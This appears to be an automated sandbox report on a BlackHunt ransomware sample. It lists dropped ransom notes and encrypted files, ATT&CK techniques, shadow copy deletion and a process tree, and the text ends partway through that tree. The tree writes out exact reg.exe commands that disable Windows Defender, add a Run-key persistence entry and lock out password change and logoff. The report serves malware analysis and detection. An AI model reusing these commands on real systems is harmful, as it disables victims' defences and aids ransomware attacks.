File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightItalic.ttf	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\US_export_policy.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.security	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ja.properties	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterRegular.ttf	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\logging.properties	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javacpl.cpl	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\LICENSE	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11cryptotoken.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5820	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5980	vssadmin.exe
5972	vssadmin.exe
352	vssadmin.exe
5964	vssadmin.exe
5956	vssadmin.exe
5984	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1376	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3244	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeRestorePrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeBackupPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeTakeOwnershipPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeAuditPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeSecurityPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeIncBasePriorityPrivilege	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Token: SeBackupPrivilege	5268	wbengine.exe
Token: SeRestorePrivilege	5268	wbengine.exe
Token: SeSecurityPrivilege	5268	wbengine.exe
Token: SeBackupPrivilege	5444	vssvc.exe
Token: SeRestorePrivilege	5444	vssvc.exe
Token: SeAuditPrivilege	5444	vssvc.exe
Token: SeSecurityPrivilege	2452	wevtutil.exe
Token: SeBackupPrivilege	2452	wevtutil.exe
Token: SeSecurityPrivilege	2872	wevtutil.exe
Token: SeBackupPrivilege	2872	wevtutil.exe
Token: SeSecurityPrivilege	2728	wevtutil.exe
Token: SeBackupPrivilege	2728	wevtutil.exe
Token: SeSecurityPrivilege	5956	wevtutil.exe
Token: SeBackupPrivilege	5956	wevtutil.exe
Token: SeSecurityPrivilege	3964	wevtutil.exe
Token: SeBackupPrivilege	3964	wevtutil.exe
Token: SeDebugPrivilege	1376	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 4016	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	92
PID 2364 wrote to memory of 4016	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	92
PID 2364 wrote to memory of 4116	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	94
PID 2364 wrote to memory of 4116	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	94
PID 2364 wrote to memory of 3964	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	96
PID 2364 wrote to memory of 3964	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	96
PID 2364 wrote to memory of 2536	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	175
PID 2364 wrote to memory of 2536	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	175
PID 2364 wrote to memory of 5092	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	198
PID 2364 wrote to memory of 5092	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	198
PID 5092 wrote to memory of 2184	5092	Conhost.exe	103
PID 5092 wrote to memory of 2184	5092	Conhost.exe	103
PID 4016 wrote to memory of 3200	4016	cmd.exe	171
PID 4016 wrote to memory of 3200	4016	cmd.exe	171
PID 4116 wrote to memory of 768	4116	cmd.exe	107
PID 4116 wrote to memory of 768	4116	cmd.exe	107
PID 2364 wrote to memory of 1416	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 2364 wrote to memory of 1416	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	105
PID 2364 wrote to memory of 1600	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	108
PID 2364 wrote to memory of 1600	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	108
PID 2536 wrote to memory of 2684	2536	cmd.exe	166
PID 2536 wrote to memory of 2684	2536	cmd.exe	166
PID 3964 wrote to memory of 1068	3964	cmd.exe	104
PID 3964 wrote to memory of 1068	3964	cmd.exe	104
PID 2364 wrote to memory of 4296	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	110
PID 2364 wrote to memory of 4296	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	110
PID 2364 wrote to memory of 3988	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	114
PID 2364 wrote to memory of 3988	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	114
PID 2364 wrote to memory of 1112	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	116
PID 2364 wrote to memory of 1112	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	116
PID 2364 wrote to memory of 1252	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	117
PID 2364 wrote to memory of 1252	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	117
PID 2364 wrote to memory of 4288	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	121
PID 2364 wrote to memory of 4288	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	121
PID 2364 wrote to memory of 456	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	119
PID 2364 wrote to memory of 456	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	119
PID 2364 wrote to memory of 2648	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	137
PID 2364 wrote to memory of 2648	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	137
PID 2364 wrote to memory of 3312	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	135
PID 2364 wrote to memory of 3312	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	135
PID 2364 wrote to memory of 4128	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	133
PID 2364 wrote to memory of 4128	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	133
PID 2364 wrote to memory of 2044	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	124
PID 2364 wrote to memory of 2044	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	124
PID 2364 wrote to memory of 1508	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	127
PID 2364 wrote to memory of 1508	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	127
PID 2364 wrote to memory of 60	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	129
PID 2364 wrote to memory of 60	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	129
PID 2364 wrote to memory of 4524	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	131
PID 2364 wrote to memory of 4524	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	131
PID 2364 wrote to memory of 1256	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	136
PID 2364 wrote to memory of 1256	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	136
PID 2364 wrote to memory of 3492	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	138
PID 2364 wrote to memory of 3492	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	138
PID 2364 wrote to memory of 2452	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	141
PID 2364 wrote to memory of 2452	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	141
PID 2364 wrote to memory of 4348	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	140
PID 2364 wrote to memory of 4348	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	140
PID 2364 wrote to memory of 832	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	144
PID 2364 wrote to memory of 832	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	144
PID 2364 wrote to memory of 4320	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	146
PID 2364 wrote to memory of 4320	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	146
PID 2364 wrote to memory of 3256	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	148
PID 2364 wrote to memory of 3256	2364	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe	148

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
"C:\Users\Admin\AppData\Local\Temp\cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:5092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:60
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
